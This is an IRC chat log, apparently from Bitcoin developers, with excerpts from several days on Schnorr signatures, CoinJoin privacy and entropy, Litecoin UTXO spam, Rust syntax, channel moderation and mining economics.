14:34 < petertodd> As I've said over and over, those schemes are nice, but there is no way they can fully prevent censorship.
14:34 < petertodd> They're plausible deniability really.
14:34 < adam3us> petertodd: agree the scale is critical, 2-3x as you say would be fantastic compared to where we are now
14:34 < petertodd> adam3us: yes, right now we've got more like 1000x
14:36 < adam3us> petertodd: i was thinking one stepping stone towards reducing need for mining pools and miner understanding eg is that you could mine to get voting rights and then use the voting rights to vote on transactions
14:36 < petertodd> Also, keep in mind there's variations of this stuff too: assuming FPGA's are always available as commodity is a weaker assumption, but it's better than nothing. On that basis it might be a lot easier to make mem-hard work.
14:36 < adam3us> petertodd: eg you mine your public key repeatedly for 10mins, everyone does
13:08 < adam3us> musing about organizing private keys as some kind of merkle-tree, if I had Q=dG where d is the root of the tree, then Q=Q1+Q2 where Q1=d1G, Q2=d2G d=d1+d2 mod n, and so on for Q1..Qk for some number. now say leaf nodes in this tree are worth some standardized unit, 1uBTC. now you can combine public keys to form a new public key Q0=Q1+Q1' (from Q1 prime another users input)
13:09 < adam3us> to prove authority to sign you must show a merkle path from a public key to the root, and sign it, the depth of the path and the number of leaves you can control proves the amount you are spending
13:10 < adam3us> maybe a block can add all the public keys in it, and then all transactions in it are implicitly mixed
13:11 < adam3us> maybe even all utxo public keys can be implicitly mixed analogously
14:22 < maaku> adam3us: isn't that similar to how lamport signatures work?
14:22 < adam3us> yes kind of but with hashes
14:23 < maaku> adam3us: the problem is bitcoin doesn't use ecdsa sigs, it uses scripts (which have, among other things, ecdsa opcodes)
14:46 < adam3us> maaku: yes its a bit of a blue sky thought
14:47 < adam3us> maaku: wondering if bitcoin used a key per unit like zerocoin, what you could do, it seems that if there is a unique key per unit, there is less meaning to the linking - its meaningless to the network
14:47 < adam3us> maaku: so then i was wondering can you combine lots of keys efficiently into a signature
14:49 < adam3us> maaku: where the verifier cant tell which input signature to the whole block (or even whole utxo) it came from
14:52 < adam3us> seems to me like you need 1 thread per hyperthread
14:52 < adam3us> eg 4 core i7, then 8 threads
14:53 < adam3us> wow m512 is quite a bit faster
14:54 < adam3us> sorry wrong window on the cores and threads
14:56 < gmaxwell> maaku: yea, I've wagged my finger at adam3us with ugly optimizations that layer violate and special case for specific cryptosystems. but man, they can be very attractive.
14:56 < petertodd> adam3us: some of my blue-sky blockchain proposals work well with single-sized coin values too
14:57 < gmaxwell> careful that you don't dance back into the space of academic cryptography that isn't actually pratically useful due to limits like that. :)
14:57 < petertodd> gmaxwell: heh, well, if such a limit enables something else, the tradeoff may be worth it...
14:58 < adam3us> petertodd: my thought experiment started hmm maybe zerocoin is silly - its one coin size, if bitcoin had that there would be no change and no meaningful linkage from the network analysis perspective either
14:58 < petertodd> adam3us: yup, it's a good idea - basically what you are doing is making it more bandwidth efficient
14:58 < adam3us> petertodd, gmaxwell: and that seems to be true no? the only person who knows which coin set is linked is the sender & recipient, other than like timing of sending them
14:59 < petertodd> adam3us: thing is, so maybe the trade-off is less bandwidth efficient per tx, but more scalable, in which case the single-sized coin values actually has a very attractive side-effect I hadn't thought of
14:59 < adam3us> petertodd: yes so then i thought ok so going the other way can you represent a big batch of sigs extremely compactly
14:59 < gmaxwell> adam3us: it's correct. if there is no splitting, merging, or address reuse, bitcoin is an anonymous currency upto timing analysis.
15:00 < adam3us> gmaxwell: that would actually meet my idealized definition almost: that only the sender & recipient could link (via subpoena etc)
15:00 < gmaxwell> and even timing analysis is .. meh, it's not like the time someone sends to you implies you are online.
15:00 < adam3us> gmaxwell: community policing
15:00 < adam3us> gmaxwell: exactly - "good enough"
15:00 < adam3us> gmaxwell: if you're not in a hurry spray them out a bit
15:01 < gmaxwell> News at 11: Mixmaster has a purpose again!
15:01 < petertodd> heh
15:01 < gmaxwell> adam3us: but yea, this isn't lost on me, but ISTM I'd never convince anyone of it.
15:01 < gmaxwell> Even the coinjoin stuff I was yabbering about that forever but couldn't get anyone to talk about it until I had a _name_ for it (thanks Peter)
15:02 < petertodd> it's too bad we don't have a "numerical addition" signature type, so you could just make multiple SIGHASH_ANYONECANPAY | SIGHASH_ADDITIVE txin signatures and gradually combine them e.g. for donations
15:02 < adam3us> gmaxwell: bah - let the people who understand jgarzik triangle deal with that
15:02 < petertodd> gmaxwell: heh, and they never thought I'd do anything useful with that art degree...
15:02 < sipa> ISTM?
15:02 < gmaxwell> it seems to me
15:02 < adam3us> petertodd: yes the schnorr sig and it turns out bernsteins EdDSA *is* ec schnorr (thanks gmaxwell for pushing me to read it)
15:03 < adam3us> petertodd: schnorr you can add sigs and keys
15:03 < petertodd> adam3us: right, I was actually thinking of something a lot simpler!
15:05 < gmaxwell> petertodd: did you see my lament about multisig and anonymity groups?
15:05 < petertodd> gmaxwell: nope
15:05 < gmaxwell> petertodd: if we used schnorr than 2 of 2 multisig txn would be indistingushable from regular transactions.
15:05 < adam3us> gmaxwell: re layering violations - when you're out of luck, bend the rules :) we can patch it up best we can afterwards
15:05 < petertodd> gmaxwell: ah, yeah that'd be a good thing...
15:05 < gmaxwell> so the anonymity set for protocols based on them (e.g. coinswaps) would be basically all txn.
15:06 < gmaxwell> adam3us: well, of course, things snapping togeather nicely is sometimes a sign that you understand the problem space...
15:06 < petertodd> gmaxwell: the one good thing about multisig is that at least it's conceivable that what gets actually used will be a relatively small set of versions of it, 2-of-2's, 2-of-3's etc.
15:06 < adam3us> gmaxwell: i love elegance, and bitcoin has a huge amount of it
15:07 < gmaxwell> petertodd: sure sure, still, kinda sad that they're distinguishable.
15:07 < adam3us> petertodd: see also there's a leakage with multisig it tells you how many sigs there are and if its k of n or n of n, with schnorr you have no idea
15:07 < adam3us> petertodd: and it takes the space of 1 sig also
15:07 < petertodd> adam3us: yup, like a fine hyper-optimized sports car - though I feel bad for the mechanic trying to change the oil filter...
15:08 < gmaxwell> in any case, I only brought it up because while the size and flexiblity advantages were old news to me, I hadn't considered the privacy impact.
15:08 < adam3us> petertodd: it also has simple efficient blind sigs
15:08 < TD> good evening
15:09 < adam3us> petertodd: blind sig with EC DSA is not efficiently possible afaik, even with DSA blind sig is horrendous (damgard jurik homomorphic adition in n^5)
15:10 < petertodd> adam3us: I'll pretend I understood what you said :P
15:10 < petertodd> adam3us: by n^5 you mean O(n^5)?
15:10 < adam3us> TD: 'evening we re musing about blue-sky crypto, and lastly aout the wonderful things you could do with schnorr (instead of dsa) adn it turns out which i didnt realize that djb's EdDSA actually is schnorr
15:11 < TD> i haven't looked at EdDSA
15:11 < TD> it's not the same as ed25519?
15:11 < adam3us> petertodd: no i mean the calculations need to be done in a group of size n^5 where n is a like 3072 bit RSA key so like 15360 bit ops
15:11 < adam3us> TD: yes it is
15:11 < petertodd> adam3us: ah, so it's a size issue?
15:12 < adam3us> TD: i mean i always assumed without reading the paper, that it was a diff curve for DSA, but its actually a tweaked verion of EC schnorr sigs which s cool
15:12 < TD> oh
15:12 < TD> interesting
15:12 < TD> yeah i thought that too
15:12 < TD> although they're quite similar aren't they
15:12 < adam3us> petertodd: the intermediate results between the two users, the final result is a normal dsa sig
15:13 < TD> re-reading the schmorr wiki page, it's still based on discrete log and a group of prime order
15:13 < adam3us> TD: yes very, i think dsa wouldn't have existed if not for schnorr's patent (expired 2008)
15:13 < petertodd> adam3us: ah ok, so final sig size is reasonable, but the intermediate state isn't?
15:13 < adam3us> TD: but schnorr has many flexibility, security, size, advantaages
15:13 < TD> sigh. patents.
15:13 < TD> is there anything they can't screw up
15:13 < adam3us> petertodd: yes, the intermediate uses a ton of experimental rade stuff
15:13 < TD> looks like to understand schnorr i will have to learn more maths first
15:13 < adam3us> petertodd: and probably moderately cpu heavy too
15:14 < petertodd> adam3us: right - I was gonna say I think I've got a possible solution to the "data hiding" problem in my txin commitments scheme
15:14 < adam3us> TD: if you understand DSA you'll get it... just djb papers are hard to decipher look at https://en.wikipedia.org/wiki/Schnorr_signature
15:15 < petertodd> adam3us: again, trade-off bandwidth for scalability
15:15 < TD> yeah i'm reading that but i need to [re] learn the definitions of things like "set of congruence classes modulo q"
15:15 < adam3us> TD: basically the only diff is you dont need to invert k
15:15 < TD> this rings bells from a-level maths but i forgot it
15:16 < TD> ed25519 is definitely on my hard-fork wishlist
15:16 < TD> the performance improvement is immense
15:18 < petertodd> adam3us: basically, remember how I was talking about "sharding" the txin space in the scheme with a binary tree? you could make the mining protocol be such that there's a way to force a lower part of the tree to either be revealed, or that part of the chain would backtrack. *If* the data is actually available, the chain shouldn't backtrack, so it's still
secure. If on the other hand the data isn't, well, that was the txout owners ...
15:18 < petertodd> ... responsibility so tough luck. :)
15:18 < petertodd> adam3us: Not exactly a fully-fleshed out idea, but the approach could work.
02:22 < gmaxwell> but I don't think an obvious greedy algorithim exists.
02:23 < andytoshi> so, for the joiner's calculation, it needs to know if certain inputs are obviously linked
02:23 < andytoshi> and "obviously linked" does not sound well-defined to me
02:24 < andytoshi> would it suffice to assume the inputs are independent, and just look at the entropy of the mixer's input-to-output mapping
02:24 < andytoshi> ?
02:25 < andytoshi> that's nice because it's context-independent -- you give me any rawtx and i can compute that without even a network
02:26 < gmaxwell> andytoshi: you can assume the inputs are independant after doing the trivial preprocessing to merge ones with duplicate scriptpubkeys.
02:27 < gmaxwell> if that raw tx is signed you can still do it by looking at the scriptsigs ... most of the time.
02:28 < gmaxwell> andytoshi: the other weird thing is that this 'plausable' metric is kinda odd in that any funnybusiness at all results in a misestimation of 0 entropy.
02:29 < gmaxwell> which actually suggests that it's worth thinking about how we can enable that kind of funny business because
just like the argument for CJ existing
if the funny business exists with enough frequency, an attacker is forced to assume any txn might involve funny bussiness.
02:29 < andytoshi> can you give an example of this?
02:30 < gmaxwell> andytoshi: yea, sure, say you and I do a coinjoin. But I actually happened to owe you money, and so the real mapping isn't a 'plausable' one because it transers some of my coin to you.
02:30 < andytoshi> oh, i get what you mean
02:31 < gmaxwell> concretly e.g. you put in 1 and I put in 5, and then you get out 2 and I get out 4. all that we've discussed above would decide the maximal users there was 1.
02:31 < andytoshi> right, that's great, and it's not at all hard to do now .. if you owe me money, i'd say "let's get in on the next join session"
02:31 < andytoshi> (and with me personally you could even use the donation output
02:32 < andytoshi> )
02:32 < gmaxwell> yea, even outside of the context of a specific coinjoin: you can do this generally for payments as a way to consoldate change. E.g. if I want you to pay me, I could give you some extra inputs to include.. then you sign and give me the half signed txn.
02:32 < andytoshi> ah, that would require better tool support
02:32 < gmaxwell> Yea, but it could just be an addon in the payment protocol pretty easily.
02:33 < gmaxwell> "Add these extra inputs to the transaction and pay them to me, thanks"
02:34 < gmaxwell> the interesting question is that once you've relaxed the defintiion of 'plausable' to include the possiblity of payments.. I think _any_ mapping is possible.
02:34 < gmaxwell> and the entropy of the coinjoin is basically log2(inputs*outputs)
02:35 < andytoshi> yeah, i think that's correct, which is pretty cool
02:35 < gmaxwell> as there is an auxiliary table of users paying other users.
02:35 < andytoshi> now, perhaps nsa with its psychologists can get information out that we can't
02:35 < gmaxwell> but the problem is that if no one ever does this
then it doesn't matter. An attacker isn't really constrained to consider corner cases.
02:35 < andytoshi> but that's probably not a threat model we can do anything about
02:35 < andytoshi> right, exactly
02:36 < andytoshi> for now our definition of 'plausible' is good, so let's work with that
02:36 < gmaxwell> oh sure, not all payments are equally likely. For example, I can say that as a prior that auxliary payment table is probably _sparse_ e.g. that it has a low l_0 norm.
02:36 < gmaxwell> and that non-sparse payment tables are very much less likely than sparse ones.
02:36 < gmaxwell> even in a world where people use this frequently.
02:37 < andytoshi> that seems plausible, though it's hard to say in the presence of fees
02:37 < andytoshi> maybe people only want to do transactions if they need to do transactions
02:37 < gmaxwell> well, its just unlikely that you could find N people who all want to pay a bit to each other, for N>2 :P
02:38 < andytoshi> oh, yeah :P
02:38 < gmaxwell> cut-throughs also add some interesting analysis wrinkles, again
if they actually existed.
02:39 < andytoshi> now, here's a silly question: our definition of coinjoin entropy as "entropy of the mixer's knowledge" .. is it monotonic?
02:39 < andytoshi> monotonic wrt the number of transactions
02:39 < gmaxwell> you mean the number of contributors to a mix?
02:39 < andytoshi> so if my joiner says "there's a 10-bit transaction in here", can somebody put in a transaction which reduces the entropy?
02:39 < gmaxwell> No, it must go up.
02:39 < andytoshi> yeah
02:39 < gmaxwell> (or stay the same)
02:39 < andytoshi> is that obvious?
02:41 < gmaxwell> I think so, otherwise I could just grab a random unrelated txn, add it to a transaction I was analyizing "assume this was joined in" and magically know more about the original transaction. :P
02:41 < andytoshi> i like that argument :)
02:42 < gmaxwell> The understanding that it was monotonic is why I've favored including poorly mixing transactions too, if thats all thats available.
02:43 < gmaxwell> likewise it would be useful to join coinjoins. e.g. if you had a 1 BTC mix and a 0.5 btc mix going on, might as well make the final txn contain both of them. Maybe you'll get lucky and some change will be ambigious.
02:43 < gmaxwell> And if the attacker is forced to the N^2 model (where people are paying people) then the entropy increases enormously.
02:44 < andytoshi> cool, this all sounds good
02:45 < andytoshi> i'll spend some time trying to compute this entropy
02:45 < andytoshi> maybe i can compute the entropy of output values, and say "the highest-entropy output is XXX" rather than "the most popular output is XXX"
02:46 < andytoshi> i'm not sure if there's a good way to define such a thing..
02:46 < gmaxwell> hm. I wonder what the entropy impact is if you limit the aux matrix to a maximum column L_0 norm of 2. uhh. like "You can may at yourself and at most one other party", or futher "optionally yourself and optionally one other party, and if you are paying that other party, that other party pays no one else"
02:46 < andytoshi> it'd be awesome if i could make the transaction entropy be the sum of the output values' entropy
02:47 < andytoshi> my guess is, it'd reduce the attacker's search space from N^2 to 2N
02:47 < andytoshi> or somethin
02:47 < andytoshi> something drastic*
02:48 < gmaxwell> e.g. a realistic use of the non-admissable coinjoins is one where at most half the participants are each paying up to one additional other participant (who isn't paying anyone but themselves)
02:49 < gmaxwell> I guess one interesting thing when you allow payments is, in fact, that you add up to 'outputs' worth of 'shadow' inputs that provide 0 in.
02:49 < andytoshi> yeah, my guess is that this would be the most common case, after admissable coinjoins, by -far-
02:50 < gmaxwell> well it generalizes all transactions too.. e.g. a regular payment to you with change fits this model now.
02:50 < andytoshi> oh yeah
02:52 < gmaxwell> in any case, a whole bunch of neat papers could come out of this, but I think so long as coinjoins are more acadmic than reality any attacker will just go "lets assume that never happens and we'll sort it out if we do ever find a case where it did"
02:52 < andytoshi> agreed, for now i will compute the entropy assuming no funny business
02:53 < andytoshi> link to a short document explaining the calculation and how to do funny business which makes the tx safer than claimed
02:57 < gmaxwell> BlueMatt: will the pulltester still run if I close a pull?
03:10 < BlueMatt> gmaxwell: no
03:12 < gmaxwell> BlueMatt: seeing things like this pass is always not a happy moment: https://github.com/bitcoin/bitcoin/pull/3469
03:12 < gmaxwell> but as expected since regtest overrides.
03:13 < gmaxwell> but ... reasons I don't love regtest being a seperate mode
03:15 < BlueMatt> true, though pull-tester is designed to test subtle bugs, not head-smacking bugs
03:16 < BlueMatt> it fails at both, but still
03:18 < gmaxwell> Ideally we should be able to test pulltester by inserting head-smacking bugs though, and making sure that every possible headsmacking bug we can think to insert fails... (The reason being that headsmacking bugs are easy to insert and be sure that they're actually bugs and not equally okay changes)
03:18 < BlueMatt> agreed
03:18 < BlueMatt> feel free to code it :p
03:37 < sipa> dang: http://bitcoin.stackexchange.com/questions/19455/searching-for-the-comprehensive-guide-to-creating-crypto-currency
03:39 < warren> sipa: we need someone to actually write the clonecoin generator that we all threatened to write.
03:39 < sipa> yeah
03:39 < warren> option: Set exchange bribe amount [minimum 100 BTC]
03:40 < warren> checkboxes for various bad ideas
03:49 < warren> sipa: would others fund this? I can get one of my students to do this.
03:49 < warren> I can throw in some money.
03:50 < gmaxwell> heck, if done right (costs a small bitcoin payment to make it build) it can be revenue producing.
03:50 < warren> hahah
03:51 < warren> don't release source for the generator. make it a web app that outputs everything.
03:51 < gmaxwell> oh absolutely.
03:51 < gmaxwell> heck, you could even charge more to get source out with your binaries (take care not to violate the LGPL, it needs to be relinkable) :P
03:52 < warren> checkbox: "Steal sunnyking's proprietary source for centralized broadcast checkpoints. Will he sue?"
03:52 < warren> haha
03:54 < gmaxwell> [ ] set your own alert key [....] {+.1 BTC}
03:56 < midnightmagic> lol
03:56 < midnightmagic> that would be so much win
03:56 < midnightmagic> + seednode code generator
03:56 < gmaxwell> yea, it needs to also provide a standalone miner and pool setup. which is kinda a pita.
03:57 < gmaxwell> the miner isn't so bad so long as it uses sha256 / scrypt / primecoin but the pool setup is more of a pain.
16:18 < gmaxwell> let y = x as uint works in rust. I'm not sure why you would do let y: uint = x as uint; .. but I don't know that much about rust and haven't written anything other than total toyes in it.
16:19 < HM> well i pulled the example from the tutorial on the rust-lang.org site
16:19 < gmaxwell> HM: it's very likely that each of these things has a reason that someone considers good... or
if you really believe they don't
then hell: post to the list! they are still _actively_ changing the syntax in a way that breaks code. And if crap like that is actual oversight then they would fix it.
16:20 < HM> Nah
16:21 < HM> It's too established to change now
16:21 < HM> that's the style they've chosen
16:21 < gmaxwell> If nothing else they should write a FWTFS that explains these things that apparently offend some on first blush.
16:21 < HM> I'm not talking about quirks, i dislike the overall style
16:23 < gmaxwell> well, many of the things you've complained about here are outright quarks, and I know some are well justified, e.g. the function syntax prevents type ambiguity and the AA BB(CC) problem.
16:24 < HM> ok
16:24 < HM> riddle me this
16:25 < HM> if the Rust function declaration syntax looks a lot like a C++11 lambda
16:25 < HM> why does the Rust closure syntax look completely different?
16:26 < HM> I guess because "fn" is an abbreviation for "function name"
16:26 < HM> seems more like a hint to the compiler than to make it more readable for the programmer
16:27 < HM> let square = |x: int| -> uint { x * x as uint };
16:27 < HM> i would probably expect this to be
16:28 < HM> they use the ||'s for the for each syntax
16:28 < HM> it's just weird
16:29 * HM goes to watch GoT
16:33 < HM> apologies for flooding :S
--- Log closed Tue Apr 09 00:00:18 2013
--- Log opened Tue Apr 09 00:00:18 2013
--- Log opened Tue Apr 09 03:13:39 2013
08:28 < HM> Just gone through a paper gmaxwell posted on bitcointalk
08:29 < HM> double blinded ECC signatures - 2010 paper by some folks at Tunghai University
08:29 < HM> i'm glad to say I followed all the algebra
08:30 < HM> it's very cool
08:33 < HM> one of the few papers i read where too much algebraic detail made it harder to follow. kept expanding terms instead of grouping them :S
09:12 < HM> hmm
09:12 < HM> this scheme doesn't prevent colusion between requester and signer
09:20 < HM> also if the signer ever sees a copy of the message it can use its database to discover who requested the signature
09:30 < HM> unless I'm mistaken Chaum's "BLIND SIGNATURES FOR UNTRACEABLE PAYMENTS" proposal doesn't protect you against colusion between payer and signer either
09:31 < HM> "Wei Dai" has a proposal that prevents colusion, but a third party can't verify tokens
09:31 < HM> I haven't seem a scheme that prevents both colusion and allows 3rd party verification
10:26 < gmaxwell> HM: for some protocols you can just have ALL of the participants blind sign.
10:26 < gmaxwell> e.g. for a vote.
10:29 < HM> i'm obviously thinking about digital cash
10:30 < HM> the simplest scheme i've seen has the issuer multiply a random point on a curve by their private key, for a fee. That's easy to blind but a payee can't verify the 'signature' (not really a signature) is legit
10:32 < HM> the 2010 paper you linked to on bitcointalk from Tunghai uni allows that but the signer can never be allowed to see the message again or they can figure out who asked for it to be signed.. and of course to verify the signature you need the message (or a hash of it)
10:33 < HM> so the question, how do you create a signature a 3rd party can verify but you can be sure hasn't been watermarked?
22:03 < warren> jgarzik: gmaxwell: Litecoin-0.8 might easily cut down its UXTO set from the week of spam in November 2011 because the attacker used the same addresses repeatedly. Just declare all those addresses unspendable.
22:04 < warren> (yes, there is no similar simple solution for bitcoin)
22:09 < gmaxwell> warren: uh didn't the litecoin attacker send 1e-8 litecoin to like every litecoin address?
22:13 < warren> gmaxwell: perhaps in a different part of the attack, I will find out. I will scan it thoroughly to make sure declared unspendable UXTO are the right ones. there appear to be a great many that are concentrated in a small number of addresses now.
22:15 < gmaxwell> warren: if you're going to do that in litecoin, why not add utxo aging?
22:15 < warren> gmaxwell: is that written anywhere?
22:15 < amiller> add a utxo rental price
22:15 < amiller> when the parking meter runs out of time, kick out the utxo
22:16 < warren> amiller: more like a purchase price, which I've been suggesting for weeks now.
22:16 < warren> oh ... time limit, I like it.
22:16 < gmaxwell> warren: meh, it's not a purchase price if you can't redeem it.
22:16 < amiller> rental vs purchase
22:16 < warren> I see, rental.
22:16 < amiller> also like a parking meter, you (anyone) can put more coins in
22:16 < amiller> to keep it around longer
22:16 < warren> by spending it
22:16 < amiller> you can have a bitcoin parking meter fairy
22:16 < amiller> that fixes other peoples coins that are about to expire
22:16 < warren> uh
22:17 < gmaxwell> amiller is on the moon right now, leave a message after the beep
22:17 < amiller> just follow your nose starting at 'rental price' and you'll get mostly good ideas.
22:18 < warren> Everyone has to reindex with 0.8.x anyway. a tiny proportion of those users will have 1e-8 disappear
22:19 < gmaxwell> warren: and then one of those gets spent and the network forks forever.
22:19 < warren> gmaxwell: the network is hardforking anyway
22:19 < gmaxwell> For what?
22:19 < gmaxwell> warren: in any case, it's stupid to solve it one time,
22:19 < warren> (mainly because they don't understand that an immediate fork isn't needed)
22:19 < amiller> people hate the idea of their bitcoins getting forgotten, or getting 'inflated' by demurrage but they'll come around to the idea of safety deposit boxes - those are reasonable
22:20 < gmaxwell> And the, as I illuded to in #bitcoin
people involved in the project will have a weaker position when some authority _orders_ them to edit the utxo set in the future.
22:20 < gmaxwell> alluded*
22:21 < warren> It's an agnostic UXTO change. If txo < tiny number, just declare it gone.
22:22 < gmaxwell> warren: so generalize that and say a UTXO lives for 51840*ceil(log10(value)) blocks or something like that.
22:22 < warren> rather: If txo < tiny number prior to block X, just declare it gone. When <mumble>coin is worth $10 million dollars each in the future it will be usable again.
22:23 < gmaxwell> uh. then all nodes still have to retain the data forever
22:23 < warren> at least it won't be in the UXTO set?
22:25 < amiller> how about when the 'value' changes, then previous utxos are credited proportionally for their time
22:26 < warren> gmaxwell: This might not be needed anyway, literally all of the litecoin spam is in a week during November 2011. I suspect the simplest and least risky plan is just to figure out which addresses concentrate the most spam UXTO and just eject that.
22:26 < warren> (scanning to be damn sure it effects nobody else)
22:27 < gmaxwell> warren: so you do that and then shortly there after someone just floods you again.
22:28 < warren> gmaxwell: they're welcome to pay the ridiculously high fees
22:28 < gmaxwell> Hell, it would be worth doing that just to make you feel stupid. :P
22:28 < warren> litecoin has two fees, a regular high fee, and an added fee for dust values
22:30 * warren still doesn't have <any>coins. This is just interesting to think about.
23:03 < gmaxwell> So P2SH^2 am I awesome or what? Best idea I've had all month.
23:14 < BlueMatt> is it really worth implementing though?
23:17 < gmaxwell> I .. think! so.
--- Log closed Wed Apr 10 00:00:06 2013
--- Log opened Wed Apr 10 00:00:06 2013
02:14 < warren> gmaxwell: the super high fees are not an adequate deterrent? (genuinely confused)
08:28 < HM> Bitcoins Law: when hashing doesn't solve your technical problem, you're not hashing hard enough
13:38 < warren> HM: I'm running the hamster wheel as hard as I can.
14:17 < HM> warren: ?
14:17 < warren> <HM> [02:28:38] Bitcoins Law: when hashing doesn't solve your technical problem, you're not hashing hard enough
14:18 < HM> oh right
14:38 < warren> gmaxwell: how do I obtain voice in -otc?
14:38 < gmaxwell> warren: ask gribble to voice you
14:39 < warren> <gribble> Error: You don't have the #bitcoin-otc,voice capability. If you think that you should have this capability, be sure that you are identified before trying again. The 'whoami' command can tell you if you're identified.
14:41 < gmaxwell> be sure that you are identified
14:42 < warren> I did
14:42 < warren> ;;everify right?
14:42 < gmaxwell> Yes.
14:42 < warren> yes, verified
14:43 < warren> assuming ";;voice #bitcoin-otc warren" is the right command
14:44 < gmaxwell> no, ;;voiceme
14:44 < gmaxwell> IIRC
14:44 < gmaxwell> voice is to voice other people.
14:45 < warren> ah, thanks
16:53 < warren> during the panic "/mode +q $~a" was quite useful.
16:54 < warren> Mute everyone who isn't logged into nickserv.
17:55 < gmaxwell> well any method that stops people from talking lowers volume...
17:57 < gmaxwell> Though I boggle that people who'd been in the channel for an hour were still "SELL SELL SELL" as I was kicking people at a rate of about 0.5-1 per _second_ for doing that crap, I really do wonder if some of these people aren't bots.
18:05 < warren> One guy in the channel was encouraging people to change to a safer currency like Terracoin.
18:06 * warren facepalm
18:12 < gmaxwell> I am hans and this is frans and we are here to PUMP YOU UP.
23:28 < jrmithdobbs> does anyone have any idea how to get a CVE reserved for something not in debian or redhat?
23:28 < jrmithdobbs> I emailed cve-assign@mitre.org this morning but no response
23:34 < warren> jrmithdobbs: it isn't in Fedora either?
23:34 < jrmithdobbs> nope
17:10 < adam3us> gavinandresen: "but my lesson learned was "don't mine"" yeah i wasnt expecting to get much more than recoup cost out of it, but i for one missed the GPU mining fun era completely - despite receiving email from satoshi in sep 2008 and feb 2009 saying go check out the client, so this is my variant of that
17:11 < gmaxwell> Mining has done well for me. ::shrugs::
17:12 < gavinandresen> adam3us: if it is any consolation, I did the math in
2010 and found it was less expensive to buy bitcoins than mine on my CPU.
17:12 < sipa> i think i profited moderately from both gpu and asics
17:13 < sipa> though never large scale
17:13 < sipa> and now i've stopped
17:13 < gmaxwell> wuss. :P
17:14 < adam3us> yes so its just an amusing thing to try, mining, and if i slightly help decentralization so its fine to just leave it on at elec break even
17:15 < gmaxwell> even at break even, it's a nice highly anonymous way to buy coins from the power company, assuming you have the hardware. :P
17:16 < adam3us> gmaxwell: well in fact i was thinking you might earn enough to pay fees on hidden (aka committed) tx which are perfectly unlinkable ;)
17:16 < gmaxwell> though it's still nowhere near break even now.. at current diff and $350 exchange your power would have to cost $1.1578/kwh to make avalons merely break even for power costs.
17:17 < phantomcircuit> gmaxwell, assuming what daily increase in network hash rate?
17:17 < adam3us> gmaxwell: that was partly why i was thinking it'd be interesting to have lower gpu self-mine without pools ie some kind of part-block payout
17:17 < gmaxwell> phantomcircuit: thats _right now_. I mean, I can turn them off in under a minute...
17:17 < phantomcircuit> gmaxwell, right
17:18 < phantomcircuit> you're already made capital costs right?
17:18 < gmaxwell> phantomcircuit: yea, they paid back their initial price in usd on the third day, and the initial price in bitcoin in about 2 weeks.
17:19 < phantomcircuit> gmaxwell, yeah people buying now are going to have a much harder time doing that
17:19 < phantomcircuit> even if you can get delivery tomorrow
17:19 < gmaxwell> indeed, people ask me if they should buy mining hardware and I dunno, the future is hard to predict.
17:19 < gmaxwell> There are optimistic predictions which are nuts, and pessimistic predictions which are slightly less nuts but still nuts. The truth, who knows?
17:20 < MC1984> youd have had to have junked them by now if the price didnt keep skyrocketing
17:20 < adam3us> right - i guess if its cheaper to buy coins just buy coins however
17:20 < phantomcircuit> yeah i mean the knc boxes are entirely sold out i think for months
17:20 < gmaxwell> MC1984: they's still be profitable over power costs at $100/btc, though not very much.
17:21 < adam3us> so i wonder - if the supply problems with asics do finally get resolved
17:21 < adam3us> difficulty will spike, and profitability will sink to electricity cost
17:21 < gmaxwell> adam3us: I dunno miners are different now than in the past, in the gpu days when my (at 6.5cts/kwh power) operation was 2:1 return on power cost hashrate was dropping.
17:21 < MC1984> gmaxwell, i think that just goes to show how ridiculously stinking profitable they were at the beginning
17:22 < adam3us> wonder if that will cause miners to switch off, or bitcoin exchange rate to go up
17:22 < gmaxwell> MC1984: there was a guy who had a chart showing how much money a batch 1 avalon has made, I'm glad he's taken it down.
17:22 < adam3us> (switch off and stop buying more)
17:23 < gmaxwell> adam3us: well, I'm planning on moving my avalons someplace where the power is cheaper.
17:23 < adam3us> see there are two parameters to network hash rate: speed/energy efficiency per unit, and availabiity of units, seems like the asic so far have improved the speed a lot, but the availability is thin
17:24 < gmaxwell> adam3us: availablity has always been ~0 when the profitablity has been high.
17:25 < MC1984> gonna put your boxes into hosting?
17:25 < adam3us> gmaxwell: in theory more availability is good for decentralization (now the litecoin argument) and the counter-argument was sha256 is easy lots of people will make tem
17:26 < adam3us> gmaxwell: not happening that well so far, though i live in hope
17:26 < gmaxwell> it has been happening, but the demand is pretty awesome when the devices are spitting out a ton of coin...
17:26 < MC1984> havent heard a peep out of asicminer for ages though
17:26 < MC1984> i bet they are hiding thier power level
17:30 < gmaxwell> if they're not crazy they've sold their first gen hardware to other suckers^wpeople by now... but who knows.
17:30 < gmaxwell> That whole model was really crappy. I mean, good for them at suckering people to finance them but .. ::shrugs::
17:30 < MC1984> the pie charts says 1%
17:30 < MC1984> and a nice chunk of unknown too
17:31 < MC1984> im actually more pleased that p2pool is holding at 1%
17:31 < MC1984> its not quite oblivion
17:32 < gmaxwell> p2pool is pretty much where its always been. it sagged a bit when the avalons didn't initially work on it..
17:32 < maaku> MC1984: as long as its not decreasing
17:33 < MC1984> i wonder if that more or less represents a percentage of people who give a shit about mining consolidation
17:33 < MC1984> whats the ratio for altruists to stop a system turning to poop?
17:33 < gmaxwell> MC1984: or more like some mixture of that and paranoid about pool op theft, and who are willing to go through the trouble.
17:34 < MC1984> hm yeah
17:34 < MC1984> its not too much trouble though. i set up a p2pool node once
17:34 < MC1984> i just didnt have anything to mine against it
17:35 < adam3us> why doesnt everyone p2pool?
17:36 < gmaxwell> Some number of people are convinced that all the pool operators are theives... e.g. cypherdoc on the forums. He claims to solo-mine, though based on his comments I would be a little surprised if it were true.
17:36 < gmaxwell> so you don't have to care about decenteralization to prefer to not use the centeralized pools.
17:36 < MC1984> they could be thieves
17:36 < gmaxwell> they could be, in fact I'm sure some have been.
17:36 < gmaxwell> but you can't tell.
17:37 < MC1984> why so much trust around still
17:37 < maaku> adam3us: it's a hog, you can lose more than the average pool fee on a high-latency connection, variance is super-high, etc.
17:37 < adam3us> help centralization, spread rumors about miners
17:37 < MC1984> some pool ops have been straight guys though
17:37 < adam3us> decentralization i meant
17:37 < midnightmagic> maaku: Mm.. that's not quite true.
17:38 < gmaxwell> For some definition of high, though you also lose pool income on high latency connections too.
17:38 < gmaxwell> though p2pool somewhat more.
17:38 < midnightmagic> adam3us: The statistics as shown make it easier to infer that p2pool is *wasting* mining effort up to 16% or so.
17:38 < gmaxwell> Which isn't the case, but that doesn't stop people from claiming it.
